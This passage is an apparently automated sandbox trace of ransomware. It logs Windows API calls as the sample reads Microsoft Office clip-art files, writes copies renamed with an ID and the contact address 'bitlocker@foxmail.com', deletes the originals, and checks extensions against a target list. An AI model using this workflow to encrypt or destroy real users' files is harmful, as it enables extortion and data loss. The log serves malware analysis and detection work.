Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.822] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=31122) returned 1 [0186.823] CloseHandle (hObject=0x1d0) returned 1 [0186.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0186.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.823] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.823] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.824] GetLastError () returned 0x0 [0186.824] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x7992, lpOverlapped=0x0) returned 1 [0187.224] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0187.226] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.226] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.226] SetEndOfFile (hFile=0x1f4) returned 1 [0187.226] CloseHandle (hObject=0x1f4) returned 1 [0187.226] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.226] SetEndOfFile (hFile=0x1d0) returned 1 [0187.227] CloseHandle (hObject=0x1d0) returned 1 [0187.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0187.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.227] lstrlenW (lpString=".doc") returned 4 [0187.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.227] lstrlenW (lpString=".docx") returned 5 [0187.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.227] lstrlenW (lpString=".pdf") returned 4 [0187.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.227] lstrlenW (lpString=".xls") returned 4 [0187.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.228] lstrlenW (lpString=".xlsx") returned 5 [0187.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.228] lstrlenW (lpString=".ppt") returned 4 [0187.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.228] lstrlenW (lpString=".zip") returned 4 [0187.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.228] lstrlenW (lpString=".rar") returned 4 [0187.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.228] lstrlenW (lpString=".bz2") returned 4 [0187.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.228] lstrlenW (lpString=".7z") returned 3 [0187.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.228] lstrlenW (lpString=".dbf") returned 4 [0187.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.228] lstrlenW (lpString=".1cd") returned 4 [0187.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.228] lstrlenW (lpString=".jpg") returned 4 [0187.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.228] lstrlenW (lpString=".doc") returned 4 [0187.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.228] lstrlenW (lpString=".docx") returned 5 [0187.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.228] lstrlenW (lpString=".pdf") returned 4 [0187.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.229] lstrlenW (lpString=".xls") returned 4 [0187.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.229] lstrlenW (lpString=".xlsx") returned 5 [0187.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.229] lstrlenW (lpString=".ppt") returned 4 [0187.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.229] lstrlenW (lpString=".zip") returned 4 [0187.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.229] lstrlenW (lpString=".rar") returned 4 [0187.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.229] lstrlenW (lpString=".bz2") returned 4 [0187.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.229] lstrlenW (lpString=".7z") returned 3 [0187.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.229] lstrlenW (lpString=".dbf") returned 4 [0187.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.229] lstrlenW (lpString=".1cd") returned 4 [0187.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0187.229] lstrlenW (lpString=".jpg") returned 4 [0187.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.229] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.229] lstrlenW (lpString="DD00297_.WMF") returned 12 [0187.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.230] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=40030) returned 1 [0187.230] CloseHandle (hObject=0x1d0) returned 1 [0187.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0187.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.230] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.230] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.231] GetLastError () returned 0x0 [0187.231] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x9c5e, lpOverlapped=0x0) returned 1 [0187.314] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x9c60, lpOverlapped=0x0) returned 1 [0187.316] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.316] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.316] SetEndOfFile (hFile=0x1f4) returned 1 [0187.316] CloseHandle (hObject=0x1f4) returned 1 [0187.316] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.316] SetEndOfFile (hFile=0x1d0) returned 1 [0187.317] CloseHandle (hObject=0x1d0) returned 1 [0187.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0187.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.317] lstrlenW (lpString=".doc") returned 4 [0187.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.317] lstrlenW (lpString=".docx") returned 5 [0187.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.317] lstrlenW (lpString=".pdf") returned 4 [0187.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.317] lstrlenW (lpString=".xls") returned 4 [0187.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.318] lstrlenW (lpString=".xlsx") returned 5 [0187.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.318] lstrlenW (lpString=".ppt") returned 4 [0187.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.318] lstrlenW (lpString=".zip") returned 4 [0187.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.318] lstrlenW (lpString=".rar") returned 4 [0187.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.318] lstrlenW (lpString=".bz2") returned 4 [0187.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.318] lstrlenW (lpString=".7z") returned 3 [0187.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.318] lstrlenW (lpString=".dbf") returned 4 [0187.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.318] lstrlenW (lpString=".1cd") returned 4 [0187.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.318] lstrlenW (lpString=".jpg") returned 4 [0187.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.318] lstrlenW (lpString=".doc") returned 4 [0187.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.318] lstrlenW (lpString=".docx") returned 5 [0187.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.318] lstrlenW (lpString=".pdf") returned 4 [0187.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.318] lstrlenW (lpString=".xls") returned 4 [0187.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.319] lstrlenW (lpString=".xlsx") returned 5 [0187.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.319] lstrlenW (lpString=".ppt") returned 4 [0187.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.319] lstrlenW (lpString=".zip") returned 4 [0187.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.319] lstrlenW (lpString=".rar") returned 4 [0187.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.319] lstrlenW (lpString=".bz2") returned 4 [0187.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.319] lstrlenW (lpString=".7z") returned 3 [0187.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.319] lstrlenW (lpString=".dbf") returned 4 [0187.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.319] lstrlenW (lpString=".1cd") returned 4 [0187.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0187.319] lstrlenW (lpString=".jpg") returned 4 [0187.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.319] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.319] lstrlenW (lpString="DD00413_.WMF") returned 12 [0187.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.320] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=42992) returned 1 [0187.320] CloseHandle (hObject=0x1d0) returned 1 [0187.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0187.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.320] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.320] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.321] GetLastError () returned 0x0 [0187.321] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xa7f0, lpOverlapped=0x0) returned 1 [0187.436] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xa800, lpOverlapped=0x0) returned 1 [0187.437] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.438] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.438] SetEndOfFile (hFile=0x1f4) returned 1 [0187.438] CloseHandle (hObject=0x1f4) returned 1 [0187.438] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.438] SetEndOfFile (hFile=0x1d0) returned 1 [0187.439] CloseHandle (hObject=0x1d0) returned 1 [0187.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0187.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.439] lstrlenW (lpString=".doc") returned 4 [0187.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.440] lstrlenW (lpString=".docx") returned 5 [0187.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.440] lstrlenW (lpString=".pdf") returned 4 [0187.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.440] lstrlenW (lpString=".xls") returned 4 [0187.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.440] lstrlenW (lpString=".xlsx") returned 5 [0187.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.440] lstrlenW (lpString=".ppt") returned 4 [0187.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.440] lstrlenW (lpString=".zip") returned 4 [0187.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.440] lstrlenW (lpString=".rar") returned 4 [0187.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.440] lstrlenW (lpString=".bz2") returned 4 [0187.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.440] lstrlenW (lpString=".7z") returned 3 [0187.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.440] lstrlenW (lpString=".dbf") returned 4 [0187.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.440] lstrlenW (lpString=".1cd") returned 4 [0187.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.440] lstrlenW (lpString=".jpg") returned 4 [0187.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.441] lstrlenW (lpString=".doc") returned 4 [0187.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.441] lstrlenW (lpString=".docx") returned 5 [0187.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.441] lstrlenW (lpString=".pdf") returned 4 [0187.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.441] lstrlenW (lpString=".xls") returned 4 [0187.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.441] lstrlenW (lpString=".xlsx") returned 5 [0187.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.441] lstrlenW (lpString=".ppt") returned 4 [0187.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.441] lstrlenW (lpString=".zip") returned 4 [0187.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.441] lstrlenW (lpString=".rar") returned 4 [0187.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.441] lstrlenW (lpString=".bz2") returned 4 [0187.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.441] lstrlenW (lpString=".7z") returned 3 [0187.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.441] lstrlenW (lpString=".dbf") returned 4 [0187.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.441] lstrlenW (lpString=".1cd") returned 4 [0187.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0187.441] lstrlenW (lpString=".jpg") returned 4 [0187.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.442] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.442] lstrlenW (lpString="DD00449_.WMF") returned 12 [0187.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.442] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=9992) returned 1 [0187.442] CloseHandle (hObject=0x1d0) returned 1 [0187.442] GetFileAttributesW 